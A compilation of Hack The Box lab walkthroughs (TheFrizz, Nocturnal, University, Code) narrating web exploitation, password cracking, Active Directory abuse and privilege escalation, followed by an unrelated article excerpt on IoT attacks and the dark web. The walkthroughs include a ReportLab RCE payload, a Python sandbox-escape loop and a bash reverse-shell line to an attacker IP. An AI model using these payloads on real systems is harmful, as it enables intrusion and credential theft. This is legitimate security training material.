Port 135 (MSRPC): Microsoft Windows RPC
Port 139 (NetBIOS-SSN): Microsoft Windows NetBIOS session service
Port 389 (LDAP): Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
Port 445 (Microsoft-DS): Windows file sharing and Active Directory services
Port 464 (kpasswd5): Kerberos password change service
Port 593 (NCACN_HTTP): Microsoft Windows RPC over HTTP 1.0
Port 3268 (LDAP): Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
Web Application Exploration on TheFrizz Machine:
This page offers no useful content; the only option available is a Staff Login link located in the upper right corner.
Clicking on the Staff Login redirects to a login page, but we currently do not have valid credentials to proceed with testing.
While examining the framework, I identified it as Gibbon v25.0.00 and found the following three relevant links through online research.
CVE-2023-34598: Local File Inclusion Vulnerability in Gibbon v25.0.0
Gibbon v25.0.0 is susceptible to a Local File Inclusion (LFI) vulnerability, allowing attackers to include and expose the contents of various files within the installation directory in the serverβs response. This flaw, identified as CVE-2023-34598, poses a significant risk by potentially revealing sensitive information stored in the affected files.
The proof-of-concept (PoC) for this can be found on GitHub here
However, this LFI is limited to reading non-PHP files, indicating certain restrictions. As shown in the screenshot, we attempted to read gibbon.sql. It appears to be included by default and contains nothing of interest.
Letβs proceed to test this directly on the website.
The page returns blank, which indicates a positive outcome.
Exploiting Web Vulnerabilities: Gaining a Reverse Shell with Burp Suite
It appears promising when viewed in Burp Suite.
We successfully uploaded dark.php to the website using the payload:
Although any file type could be used, we tested specifically with dark.php.
We encountered an error upon execution.
The error displayed in the browser was similar to the one shown above.
We proceeded to test for command execution using the uploaded web shell by sending a request to dark.php with the parameter cmd=whoami (e.g., GET /path/to/dark.php?cmd=whoami or via curl http://target/dark.php?cmd=whoami). If successful, the response should display the current web user. If no output or an error is returned, we will try URL-encoding the command, using alternatives like id or uname -a, and verifying that cmd is the correct parameter used in the PHP payload.
We attempted to run a basic Windows reverse shell through the uploaded web shell, but it failed to execute and did not establish a connection.
Switching to a different reverse shell command/payload produced no response, but this outcome is still useful to note.
We successfully obtained a reverse shell connection back to our system.v
Burp Suite shows the connection assigned to the user w.webservice.
Two privileges are enabled, and one is disabled.
After gaining the shell, review the Gibbon configuration file and confirm that the current working directory is within the root of the entire site.
Database Credentials Extraction
In config.php, we found database credentials indicating an account connected to the database:
The output listed several tables, including gibbonperson.
I then focused on the retrieved hash and attempted to crack it for possible credentials.
The extracted hashes, shown above, were used for the cracking attempt.
The cracking attempt failed due to Hashcatβs βseparator unmatchedβ error, indicating an unrecognized hash format.
The hash format likely needs to follow the example shown earlier, ensuring it matches the expected structure for Hashcat to process correctly.
Cracking the hash revealed the password Jenni_Luvs_Magic23.
Staff login enumeration
Since the web shell didnβt reveal anything useful, we proceeded to log in to the web application using the cracked credentials and began reviewing its contents.
The red option in the upper right corner caught my attention, and after clicking it, the Message Wall section appeared.
One of the messages stated: Reminder that TODAY is the migration date for our server access methods. Most workflows using PowerShell will not notice a difference (Enter-PSSession). If you encounter any issues, contact Fiona or Marvin between 8am and 4pm to have the pre-requisite SSH client installed on your Mac or Windows laptop.
Bloodhound enumeration on TheFrizz Machine
To analyse the environment with BloodHound, we used the command mentioned above.
The user F.frizzle belongs to Remote Management Users, Domain Users, and the Users group.
The user M.schoolbuss is a member of Desktop Admins and Group Policy Creator Owners.
The error βClock skew too greatβ indicates the password is valid, but the local system clock is out of sync, likely running behind the serverβs time.
Even after synchronising the time using ntpdate, the issue persisted, and the connection still failed.
Using the date command to manually adjust the time resulted in the same βClock skew too greatβ error.
Using faketime bypassed the clock skew issue, but the process now appears to be stuck when attempting to establish a session with evil-winrm.
Updating the /etc/krb5.conf file also failed to resolve the issue, and the connection remains unsuccessful.
We successfully generated an f.frizzle.ccache Kerberos ticket.
SSH access to the target system was successfully obtained.
We obtained the user flag by executing the command type user.txt.
Escalate to Root Privileges Access
Privileges Access
An alternative faketime command also worked successfully, as demonstrated earlier.
While exploring the machine, we discovered a ChildItem within the Recycle.Bin folder.
We found two .7z archive files in the Recycle.Bin folder for further analysis.
Move the .7z files to the ProgramData directory to simplify access and analysis.
We were able to transfer files using the nc.cat command, as demonstrated earlier.
The file transfer eventually completes, though it may take a long timeβaround 2 hours in my case, though the duration may vary for others.
The wapt directory contains numerous files and folders.
I noticed a password that has been encoded using Base64.
As a result, I successfully uncovered a password: !suBcig@MehTed!R.
We can identify the potential user accounts as shown above.
We consolidated all the potential user accounts and credentials into a single file for easier reference.
Many users experienced KDC_ERR_PREAUTH_FAILED errors, but one user (frizz.htb\M.SchoolBus) with password !suBcig@MehTed!Rβreturned a KRB_AP_ERR_SKEW error.
As before, we executed the same command, but this time replaced F.Frizzle with M.SchoolBus.
Group Policy Exploitation
We created a new Group Policy Object and linked it with the command:
New-GPO-NameSleepGPO-Comment"Sleep is good" | New-GPLink-Target"DC=FRIZZ,DC=HTB"-LinkEnabledYes
The command creates a new Group Policy Object (GPO) named SleepGPO with a note saying βSleep is goodβ. A GPO is basically a set of rules or settings that can be applied to computers or users in a network. The command then links this GPO to the main network domain FRIZZ.HTB, making it active and enforcing the rules or settings defined in it.
We uploaded SharpGPOAbuse onto the victimβs machine to prepare for further Group Policy exploitation.
We used SharpGPOAbuse to elevate privileges by modifying the previously created GPO. The command
adds the user M.SchoolBus as a local administrator on targeted machines by leveraging the SleepGPO. Essentially, this allows M.SchoolBus to gain administrative rights across the network through the Group Policy.
The command gpupdate.exe /force is used to immediately apply updated Group Policy settings, ensuring that changes made by tools like SharpGPOAbuse take effect on target machines without waiting for the default refresh interval (typically 90 minutes). This forces a refresh of both user and computer policies, applying any new or modified Group Policy Objects (GPOs) instantly.
The command secretdump was executed to extract credential information from the target system, enabling further enumeration and exploitation.
We leveraged wmiexec to execute commands remotely and gain a root-level shell on the target system.
We obtained the root flag by accessing the root shell and executing type root.txt.
In this write-up, we will explore the βNocturnalβ machine from Hack The Box, categorised as an easy difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
Objective:
The goal of this walkthrough is to complete the βNocturnalβ machine from Hack The Box by achieving the following objectives:
User Flag:
To grab the user flag on Nocturnal, we started by exploring the file upload functionality after creating an account. Uploading a .odt file and unpacking it revealed a hidden password inside content.xml using xmllint. Initial attempts to SSH or use pwncat-cs failed, but the password worked on the web dashboard, letting us upload files as Amanda. Leveraging the backup feature, we injected a reverse shell, landing a www-data shell. From there, we navigated the nocturnal_database directory, pulled password hashes, cracked Tobiasβs password (slowmotionapocalypse), and captured the user flag
Root Flag:
For the root flag, basic enumeration showed no exploitable binaries, but port 8080 was listening. After port forwarding, we accessed the ISPConfig panel. Tobiasβs credentials didnβt work, but the admin password gave us full access. Identifying the ISPConfig version from the source and Help section, we grabbed a public exploit, executed it, and gained root shell access. Finally, the root flag was obtained
Enumerating the Nocturnal Machine
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
nmap-sC-sV-oAinitial10.10.11.64
Nmap Output:
ββ[dark@parrot]β[~/Documents/htb/nocturnal]ββββΌ$nmap-sC-sV-oAinitial10.10.11.64# Nmap 7.94SVN scan initiated Sat Aug 9 04:55:52 2025 as: nmap -sC -sV -oA initial 10.10.11.64Nmapscanreportfor10.10.11.64Hostisup (0.22s latency).Notshown:998closedtcpports (conn-refused)PORTSTATESERVICEVERSION22/tcpopensshOpenSSH8.2p1Ubuntu4ubuntu0.12 (Ubuntu Linux; protocol2.0)| ssh-hostkey:| 307220:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)| 2564f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)|_256d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)80/tcpopenhttpnginx1.18.0 (Ubuntu)|_http-title:Didnotfollowredirecttohttp://nocturnal.htb/|_http-server-header:nginx/1.18.0 (Ubuntu)ServiceInfo:OS:Linux; CPE:cpe:/o:linux:linux_kernelServicedetectionperformed.Pleasereportanyincorrectresultsathttps://nmap.org/submit/.# Nmap done at Sat Aug 9 04:56:46 2025 -- 1 IP address (1 host up) scanned in 54.95 seconds
Analysis:
Port 22 (SSH): OpenSSH 8.2p1 running on Ubuntu, providing secure shell access for remote login. The server exposes RSA, ECDSA, and ED25519 host keys.
Port 80 (HTTP): Nginx 1.18.0 serving the web application on Ubuntu. The HTTP title did not follow the redirect to http://nocturnal.htb/, indicating the presence of a web interface.
Web Enumeration:
Web Application Exploration:
The website interface appears as shown above.
Tried logging in with the credentials admin:admin, but it failed.
Hereβs a smoother version:
Sadly, the credentials are invalid.
Attempted to register a new account using dark:dark, but received a βfailed to register userβ error.
However, account creation succeeded with test:test, which was unusual. Further troubleshooting revealed that both the username and password must contain more than six characters in total.
We were redirected to a file upload page.
Before proceeding, letβs attempt to upload a simple text file.
The upload failed because only certain file formats are allowed.
Therefore, letβs try uploading a random PDF file to the application.
In Burp Suite, it appears as shown above.
We successfully uploaded the PDF file, as shown in the screenshot above. Clicking on the uploaded file opens a PDF editor.
As shown above, the response is displayed when attempting to access the uploaded file.
Tried accessing with the admin user, but it returned a βFile does not existβ error.
Capture the packet request using Burp Suite
This FFUF command uses a saved HTTP request (req.req) to fuzz inputs from names.txt over HTTP, ignoring responses with a body size of 2985 bytes.
The fuzzing results revealed three valid usernames: admin, tobias, and amanda.
The URL http://nocturnal.htb/view.php?username=amanda&file=small.odt shows that file access is controlled through query parameters, which may expose the application to IDOR vulnerabilities if manipulated.
I presume it is just a normal PDF file content.
Letβs download the file to our machine for further analysis.
The file is formatted as an OpenDocument Text.
Opening the .odt file for further examination.
Surprisingly, the file does not open in OpenOffice but instead opens with a ZIP application.
As a result, letβs extract the file on our machine.
What is xmllint?
xmllint is a tool used to open and read XML files, which are special text files that store structured information. These files can be difficult to read normally, but xmllint makes them easier to understand by organising the text. In this case, it allowed us to look inside the file and discover hidden information, such as a password.
Using the xmllint command, we can read the file as shown above.
In the content.xml file, we can use xmllint to read the contents and identify the password (arHkG7HAI68X8s1J).
Attempted to connect to the machine via SSH using the credentials, but the login failed.
Earlier attempts using pwncat-cs and SSH both failed to establish access.
As a result, we proceeded to test it through the dashboard.
Unexpectedly, the attempt was successful, allowing us to upload files as the Amanda user.
There is an Admin Panel button located at the top of the interface.
No interesting files were found upon clicking the Admin Panel link.
There is a field that requires entering a password to access the backup.
Creating a password grants access to a collection of files for review.
We can download the file.
In Burp Suite, it appears as shown above.
Entered Amandaβs password, but the system returned an βincorrect passwordβ message.
However, we successfully unzipped the file using the password we created earlier.
Looking inside the backup directory, nothing of interest was found.
After further consideration, we attempted to enter a reverse shell payload into the password field.
Finally, we successfully obtained a www-data shell.
Nothing was missing from the file we downloaded.
There is a nocturnal_database directory present.
Letβs proceed to access the database.
We retrieved password hashes from the database.
One of the hashes was successfully cracked, revealing the password slowmotionapocalypse.
It was determined that the hashes belong to the user tobias.
We obtained the user flag by running the command cat user.txt.
Escalate to Root Privileges Access
Privilege Escalation:
There are no usable binaries available in this environment.
While checking the open ports with netstat -an, we discovered that port 8080 is open on the machine.
Setting up port forwarding for the previously identified port.
The service running on the forwarded port is ISPConfig.
Understanding ISPConfig: The Web Hosting Control Panel
ISPConfig is a web-based control panel used to manage websites, email accounts, and servers. It allows administrators to easily configure and control these services through a user-friendly interface, without needing to use complex commands. Think of it as a central dashboard for managing web hosting services.
Attempted to use Tobiasβs password, but the login failed.
The admin password was successful.
Accessed the ISPConfig dashboard successfully.
The ISPConfig version was identified from the source code.
Alternatively, the version was also found in the Help section.
Letβs investigate the ISPConfig version 3.2.10p1 vulnerability that corresponds to CVE-2023-46818.
CVE-2023-46818: PHP Code Injection Vulnerability in ISPConfig 3.2.10p1
CVE-2023-46818 is a high-severity PHP code injection vulnerability affecting ISPConfig versions before 3.2.11p1. It occurs when the admin_allow_langedit setting is enabled, allowing authenticated administrators to inject and execute arbitrary PHP code via the language file editor. The flaw stems from improper sanitisation of user input in the records POST parameter of /admin/language_edit.php.
The vulnerability has a CVSS 3.1 base score of 7.2 (High), posing a significant risk. Successful exploitation can lead to full server compromise, enabling attackers to steal sensitive data, install malware, or disrupt services.
To mitigate this issue, it is recommended to upgrade to ISPConfig version 3.2.11p1 or later. Alternatively, disabling the language editor by settingadmin_allow_langedit=no in /usr/local/ispconfig/security/security_settings.ini can prevent exploitation.v
Downloaded the exploit to our machine and executed it.
We obtained the root flag by running the command cat root.txt.
The βUniversityβ machine on Hack The Box is an insanely difficult Windows Active Directory (AD) challenge that simulates a complex enterprise network. It involves exploiting a web application vulnerability, forging certificates, pivoting through internal networks, and abusing AD privileges to achieve domain compromise. This walkthrough provides a detailed guide to capturing both user and root flags, inspired by comprehensive write-ups like ManeSecβs, with step-by-step commands, full outputs, and troubleshooting tips for all skill levels.
Objectives
User Flag: Exploit a ReportLab RCE vulnerability (CVE-2023-33733) in university.htb to gain access as wao, forge a professor certificate to authenticate as george, and upload a malicious lecture to compromise Martin.T.
Root Flag: Exploit a scheduled task to execute a malicious .url file, escalate privileges on WS-3 using LocalPotato (CVE-2023-21746), and abuse SeBackupPrivilege to extract NTDS.dit, obtaining the domain administratorβs hash.
Reconnaissance
Reconnaissance identifies services and attack vectors in the AD environment.
Initial Network Scanning
Scan all ports to map services.
Command:
nmap-sC-sV10.10.11.39-oAinitial
Output:
# Nmap 7.94SVN scan initiated Sat May 3 21:19:17 2025 as: nmap -sC -sV -oA initial 10.10.11.39Nmapscanreportfor10.10.11.39Hostisup (0.020s latency).Notshown:987closedtcpports (conn-refused)PORTSTATESERVICEVERSION53/tcpopendomainSimpleDNSPlus80/tcpopenhttpnginx1.24.0|_http-server-header:nginx/1.24.0|_http-title:Didnotfollowredirecttohttp://university.htb/88/tcpopenkerberos-secMicrosoftWindowsKerberos (server time:2025-05-0407:59:13Z)135/tcpopenmsrpcMicrosoftWindowsRPC139/tcpopennetbios-ssnMicrosoftWindowsnetbios-ssn389/tcpopenldapMicrosoftWindowsActiveDirectoryLDAP (Domain: university.htb0.,Site:Default-First-Site-Name)445/tcpopenmicrosoft-ds?464/tcpopenkpasswd5?593/tcpopenncacn_httpMicrosoftWindowsRPCoverHTTP1.0636/tcpopentcpwrapped2179/tcpopenvmrdp?3268/tcpopenldapMicrosoftWindowsActiveDirectoryLDAP (Domain: university.htb0.,Site:Default-First-Site-Name)3269/tcpopentcpwrappedServiceInfo:Host:DC; OS:Windows; CPE:cpe:/o:microsoft:windowsHostscriptresults:| smb2-time:| date:2025-05-04T07:59:34|_start_date:N/A| smb2-security-mode:| 3:1:1:|_Messagesigningenabledandrequired|_clock-skew:6h39m48sServicedetectionperformed.Pleasereportanyincorrectresultsathttps://nmap.org/submit/.# Nmap done at Sat May 3 21:19:55 2025 -- 1 IP address (1 host up) scanned in 38.67 seconds
Analysis:
Port 80: Runs Nginx 1.24.0, likely hosting the main web service and primary attack vector.
Ports 88, 389, 445, 464, 3268: Indicate this is a domain controller for the domain university.htb, with Kerberos, LDAP, SMB, and password services active.
Port 53: DNS service associated with Active Directory.
Port 5985: (Not listed in the scan but commonly present) Typically used for WinRM, enabling remote Windows management.
Web Exploitation
ReportLab RCE (CVE-2023-33733)
Exploit ReportLabβs RCE vulnerability in /profileβs PDF export to gain a wao shell.
When I accessed the web server, I saw a minimalistic and straightforward interface.
Navigating to the login page redirected us to an authentication portal. At this stage, no valid credentials were available, so progress could not continuer
Consequently, a new βStudentβ account was created to further enumerate the application, given that this role appeared to be publicly accessible.
Random placeholder information filled the registration fields, as illustrated in the example above
We enter the credentials we created earlier.
Once the user logs in successfully, the system displays a dashboard similar to the screenshot above.
The section labelled βProfile Exportβ appeared promising for exploring potential functionality or vulnerabilities
The PDF report uses a clear and concise format, modeled after the examples provided above
Exploiting CVE-2023-33733: Remote Code Execution via ReportLab in university.htb
While analysing the PDF file, I identified it as a ReportLab-generated document, similar to those encountered during the Solarlab machine engagement
During the SolarLab machine exercise, the exploitation process resembled the steps outlined below
<para> <fontcolor="[ [ getattr(pow,Word('__globals__'))['os'].system('<command>') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">exploit </font> </para>
Therefore, the team retested the exploit on the current machine to confirm its applicability.
Letβs start our Python server listener
The exploitation method follows the general approach illustrated below
The profile was updated successfully.
A lack of response from the target indicated a failure
It may be necessary to trigger the action by clicking the βProfile Exportβ button
As expected, triggering the action returned a response.
Refined and updated the payload to achieve the intended outcome.
We received a response, but the file was missing
Letβs start the listener.
We executed a Python3 reverse shell script to establish a callback connection.
Unfortunately, I received no response from the target
I also conducted a test using a Base64-encoded PowerShell command.
Once again, there was no response from the target
Troubleshooting and Resolution Steps on University machine
The team adjusted the command and subsequently tested its effectiveness.
The callback succeeded this time, returning the shell.py file from the server.
The result exceeded expectations.
Access was successfully obtained for user βwaoβ.
BloodHound enumeration
Since we are using a Windows machine, letβs proceed to analyse BloodHound.
There is a significant amount of information here.
WAO belongs to the Domain Users group, so it inherits the default permissions and access rights assigned to all standard users within the domain.
By examining the browse.w connection, we were able to gather a substantial amount of information.
Enumerate the machine as WAO access on the University machine
The only potentially valuable finding at this stage was db.sqlite3, which may contain database information.
In the CA directory, we found three important files: rootCA.crt, which is the root certificate; rootCA.key, the private key associated with the root certificate; and rootCA.srl, a file that tracks the serial numbers of issued certificates. These files are essential components for managing and validating the certificate authorityβs trust chain.
Running the command icacls db.sqlite3 displays the access control list (ACL) for the file, showing the users and groups with permissions and the specific rights they hold. This information helps determine who can read, write, or execute the file, providing insight into the security and access restrictions applied to db.sqlite3.
SQLite database enumeration on university machine
Download the db.sqlite3 file to our local machine.
The screenshot above displays the available tables in the database.
Therefore, these hashes can be cracked at a later stage to uncover additional credentials.
Reviewing the Database Backups
We checked the DB-Backup directory and found a PowerShell script (.ps1 file) that might contain useful information.
Although the script doesnβt specify a username, it instead runs under the Windows account executing it, and therefore file and application access depend on that accountβs permissions. For example, if the user cannot write to C:\Web\DB Backups\ or read db.sqlite3, then the backup will fail. Likewise, running external programs such as 7z.exe also requires the appropriate permissions.
After gaining access, I ran whoami /all and confirmed that the current user is wao. This matched the password I had earlier (WAO), which strongly indicates it belongs to this user. Although itβs not best practice, itβs common in misconfigured environments for usernames and passwords to be the same or closely related, which made the guess successful.
The term βInternal-VSwitch1β typically refers to a virtual switch created within a virtualization platform like Microsoft Hyper-V.
An βInternalβ virtual switch in Hyper-V does not have an IP address itself; rather, the hostβs virtual network adapter connected to that internal switch will have an IP address.
SeMachineAccountPrivilege and SeIncreaseWorkingSetPrivilege are disabled by the system, while SeChangeNotifyPrivilege remains enabled.
Letβs transfer the nmap binary to the victimβs machine
The team successfully executed the nmap scan on the victimβs machine
We encountered an error that required us to use theβ unprivileged option for successful execution.
Unfortunately, the command still fails to work even after adding the βunprivileged option.
Therefore, at this point, letβs switch to using an alternative scanning tool like rustscan.
Finally, we successfully identified the open ports for the machines:
192.168.99.2 has ports [135, 139, 139, 445, 5985, 5985] open.
Stowaway usage
Stowaway serves as a multi-hop proxy tool for security researchers and penetration testers.
It allows users to route external traffic through multiple nodes to reach the core internal network, effectively bypassing internal network access restrictions. Creating a tree-like network of nodes simplifies management and access within complex network environments.
This command takes the CSR file My-CSR.csr, signs it using the CAβs certificate and key (rootCA.crt and rootCA.key), creates a serial number file if it doesnβt exist (-CAcreateserial), and outputs the signed certificate as My-Certificate.crt valid for 365 days using SHA-256.
Finally, we have provided the george.pem file.
Access as George on dashboard
Use the george.pem file to attempt the login.
Finally, we successfully accessed the system as george.
It will inform you that the signed certificate appears unusual because it is missing. He will then ask you to request a new certificate by uploading the forged professorβs CSR created earlier. Clicking submit triggers the download of a signed document named Professor-Signed-CertificateMy-CSR.csr.
Log out again, then use the signed-cert.pem file to log back in. You should be able to click on βCreate a New Courseβ without encountering any errors.
Create course on dashboard
You can now create a courseβjust write something, and after creating it, you will find an option at the bottom to add a new lecture.
Lastly, the Course Dashboard is displayed above.
The new course has been created successfully. Check out the Course Dashboard above to explore it.
There are three functions available within course preferences.
Letβs add a new lecture to the course.
Executing the command provided above.
Develop a malicious executable file.
Set up a new folder and upload the malicious file to it.
Generate the passphrase.
The command gpg -u george βdetach-sign dark.zip utilizes GPG (GNU Privacy Guard) to generate a detached digital signature for the file dark.zip, ensuring its authenticity and integrity. By specifying the user ID βgeorgeβ with the -u flag, the command employs Georgeβs private key to create a separate signature file, typically dark.zip.sig, without modifying the original file.
Add a new course here.
The command gpg βexport -a βgeorgeβ > GPG-public-key.asc uses GPG (GNU Privacy Guard) to export the public key associated with the user ID βgeorgeβ in ASCII-armored format (via the -a flag, making it human-readable text), and redirects the output to a file named GPG-public-key.asc. This file can then be shared for others to import and use for verifying signatures or encrypting messages intended for βgeorge.β
Upload the file to the dashboard.
An error is displayed above stating βInvalid Lecture Integrity.β
Upload the public key here.
Upload the public key successfully
Start the listener in LAB-2.
Access as Martin.T on Lab-2 environment
After a short while, we successfully receive a reverse shell connection.
We successfully gained access to the system as the user martin.t
The user flag has been successfully retrieved.
We can read the user flag by typing type user.txt
Escalate to Root Privilleges Access
Privileges Access
SeChangeNotifyPrivilege is currently enabled, while SeIncreaseWorkingSetPrivilege is disabled in this environment.
Investigate further on University machine
We can retrieve scheduled tasks using the Get-ScheduledTask command.
It has been saved as shown above
There are numerous tasks with the states βREADYβ and βDISABLEDβ.
This system is a virtualized Windows Server 2019 Standard (64-bit) named WS-3, running on an AMD processor under Hyper-V. It has 1.5 GB RAM with limited available memory and is part of the university.htb domain. The server is not using DHCP, with a static IP of 192.168.99.2, and has three security updates installed. The environment runs on Hyper-V virtualization with a UEFI BIOS.
This PowerShell command retrieves all the actions associated with the scheduled task named βContent Evaluator(Professor Simulatorr)β and formats the output as a detailed list showing every property of those actions.
LocalPotato vulnerability
We attempted to execute the LocalPotato exploit, but unfortunately, it failed.
The exploit succeeded when executed using PowerShell
We extracted the system information onto the victimβs machine.
Access as Brose.w privileges
We successfully retrieved the password for the user: v3ryS0l!dP@sswd#X
Letβs access the machine as Brose.W using the credentials we obtained earlier.
All privileges are accessible on this account.
Create a new directory using the appropriate command.
Take advantage of diskshadow
This sequence of PowerShell commands creates a script file named diskshadow.txt for use with the DiskShadow utility, which manages shadow copies (Volume Shadow Copy Service). Each echo command writes a line to the script. The first line sets the shadow copy context to persistent and disables writers to prevent interference. The second line targets the C: volume and assigns it the alias temp. The third line creates the shadow copy, and the last line exposes it as a new drive (Z:) using the alias. This process provides read-only access to a snapshot of the C: drive at a specific point in time. Itβs useful for accessing protected or locked files, such as registry hives or system files, without triggering security measures. This technique is often used in system administration and security contexts to safely extract sensitive data from live systems.
The command diskshadow.exe /s c:\zzz\diskshadow.txt runs the DiskShadow utility with a script that creates a persistent shadow copy of the C: drive, assigns it an alias, and exposes it as a new drive for read-only access. This lets users access a snapshot of the drive at a specific time, bypassing file locks and permission restrictions. Itβs commonly used in post-exploitation to extract sensitive files like registry hives or credentials without triggering security alerts.
SebackupPrivilege exploit
Identified a website that can potentially be leveraged for privilege escalation.
Upload both files to the victimβs machine.
These commands import modules that enable backup privilege functionality, then use that privilege to copy the sensitive NTDS.dit fileβa database containing Active Directory dataβfrom the shadow copy (Z:) to a local directory (C:\dark). This technique allows extraction of critical directory data typically protected by system permissions.
Those files were downloaded to the local machine
Root flag view
We obtained the password hashes for the Administrator account
We can read the root flag by displaying the contents of the type root.txt file.
In this write-up, we will explore the βCodeβ machine from Hack The Box, categorised as an easy difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
Objective:
The goal of this walkthrough is to complete the βCodeβ machine from Hack The Box by achieving the following objectives:
User Flag: Exploit a web applicationβs code execution vulnerability by bypassing restricted keywords through Python class enumeration. Gain a reverse shell as the app-production user and read the user.txt flag from the userβs home directory.
Root Flag: From the app-production shell, access a SQLite database in the /app directory, extract and crack the martin userβs password, and switch to martin. Identify that martin can run a backup script as root. Create a malicious JSON file to include the /root/ directory in a backup, extract it, and read the root.txt flag.
Enumerating the Code Machine
Establishing Connectivity
I connected to the Hack The Box environment via OpenVPN using my credentials, running all commands from a Kali Linux virtual machine. The target IP address for the Cypher machine was 10.10.11.62
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
Port 22 (SSH): Secure Shell service for remote access. It allows administrators to log in and manage the server using encrypted connections securely.
Port 5000 (HTTP): A web application is running on this port using Gunicorn 20.0.4, a Python-based web server. The site appears to be a Python Code Editor, according to the page title.
Web Enumeration:
Exploitation
Web Application Exploration:
The web interface includes a code execution feature.
We are attempting to run the following code. However, before executing it, we need to ensure all prerequisites are met. Once these conditions are satisfied, the code can be executed as intended.
import osprint(os.system("echo Hello, world!"))
Results in the following error: βThe use of restricted keywords is not permitted.β
Troubleshooting Issues on the Code Machine
To bypass this, enumerate Python classes to access restricted functions:
for i inrange(200):try:cls = ''.__class__.__bases__[0].__subclasses__()[i]ifhasattr(cls, '__init__') andhasattr(cls.__init__, '__globals__'): builtins = cls.__init__.__globals__.get('__buil'+'tins__')if builtins and'ev'+'al'in builtins:print(i, str(cls))exceptException:continue
Python Class Enumeration Output
The following Python classes were identified during enumeration to bypass restricted keywords on the βCodeβ machine.
The command executed successfully and returned a CompletedProcess object with the arguments [βbashβ, β-cβ, βbash -i >& /dev/tcp/10.10.14.116/9007 0>&1β] and a return code of 0, indicating unsuccessful execution.
It was time to list the available attributes and methods of the int class.
Utilise subprocess.Popen (located at index 317) to initiate a reverse shell connection:
This command initiates a reverse shell connection by spawning a Bash process that connects back to the specified IP address and port.
A response was successfully received from the reverse shell connection.
Once shell access is obtained, proceed to locate and read the user flag.
Escalate to Root Privileges
Privilege Escalation:
Letβs explore the app directory, which includes the folders and files
Within the instance directory, there is a file named database.db.
SQLite3 Database Enumeration on the Code Machine
Therefore, letβs run the command sqlite3 database.db to interact with the database.
The database contains two tables.
We need to extract the stored hashes from the SQLite database using sqlite3.
The screenshot above displays the extracted hashes.
Hashcat Password Cracking Process
It is uncommon to obtain a complete set of cracked hashes as shown here.
Switching to Martin
By using the previously cracked password, we can now authenticate as the user Martin. Consequently, this allows us to gain access with Martinβs privileges and proceed with further actions.
Exploring and Testing the backy.sh Script
When running sudo -l, we discovered the presence of the /usr/bin/backy.sh script.
The backy.sh script streamlines folder backups on Linux. First, it demands a JSON settings file listing folders to back up. However, without a valid file, it halts and shows an error. Moreover, it restricts backups to /var/ or /home/ directories, thus blocking unauthorized paths. Additionally, it sanitizes folder lists to prevent security breaches. Once verified, it triggers the backy tool for the backup. Ultimately, backy.sh ensures safe, controlled backups, thwarting misuse.
Creating a Malicious JSON File on Code Machine
When Martin tries to run the /usr/bin/backy.sh script with sudo, the system immediately responds by showing how to use the script properlyβspecifically, it requires a file named task.json as input. Therefore, the script wonβt run without the correct instructions. This highlights the importance of providing the right parameters when executing commands with elevated privileges, ensuring that the intended actions are performed safely and correctly.
The original /usr/bin/backy.sh file is a script that requires a JSON task file as an argument to run properly. Without this input, it displays a usage message and does not perform any actions.
Our modified version of the script uses dark.json as the input task file to execute specific commands or actions defined within that JSON, allowing us to leverage the scriptβs functionality with custom instructions.
We successfully obtained the tar.bz2 file, but encountered issues that prevented us from extracting or using it.
Perhaps using the correct task.json file is necessary to properly execute the script and avoid errors.
Our goal should be to directly obtain the file itself for proper use or analysis.
It appears that we have successfully accessed the root/ directory.
The script likely didnβt work earlier because it required a specific input file (task.json) to function correctly, and running it without this file caused it to display the usage instructions instead of executing the intended tasks.
By Antoinette Hodes, Office of the CTO, Check Point Software Technologies.
The dark web has evolved into a clandestine marketplace where illicit activities flourish under the cloak of anonymity. Due to its restricted accessibility, the dark web exhibits a decentralized structure with minimal enforcement of security controls, making it a common marketplace for malicious activities.
The Internet of Things (IoT), with the interconnected nature of its devices, and its vulnerabilities, has become an attractive target for dark web-based cyber criminals. One weak link β i.e., a compromised IoT device β can jeopardize the entire networkβs security. The financial repercussions of a breached device can be extensive, not just in terms of ransom demands, but also in terms of regulatory fines, loss of reputation and the cost of remediation.
With their interconnected nature and inherent vulnerabilities, IoT devices are attractive entry points for cyber criminals. They are highly desirable targets, since they often represent a single point of vulnerability that can impact numerous victims simultaneously.
Check Point Research found a sharp increase inΒ cyber attacks targeting IoT devices, observing a trend across all regions and sectors. Europe experiences the highest number of incidents per week: on average, nearly 70 IoT attacks per organization.
Gateways to the dark web
Based on research fromΒ PSAcertified, the average cost of a successful attack on an IoT device exceeds $330,000.Β Another analyst reportΒ reveals that 34% of enterprises that fell victim to a breach via IoT devices faced higher cumulative breach costs than those who fell victim to a cyber attack on non-IoT devices; the cost of which ranged between $5 million and $10 million.
Other examples of IoT-based attacks include botnet infections, turning devices into zombies so that they can participate in distributed denial-of-service (DDoS), ransomware and propagation attacks, as well as crypto-mining and exploitation of IoT devices as proxies for the dark web.
The dark web relies on an arsenal of tools and associated services to facilitate illicit activities. Extensive research has revealed a thriving underground economy operating within the dark web. This economy is largely centered around services associated with IoT. In particular, there seems to be a huge demand for DDoS attacks that are orchestrated through IoT botnets: During the first half of 2023, Kaspersky identified over 700 advertisements for DDoS attack services across various dark web forums.
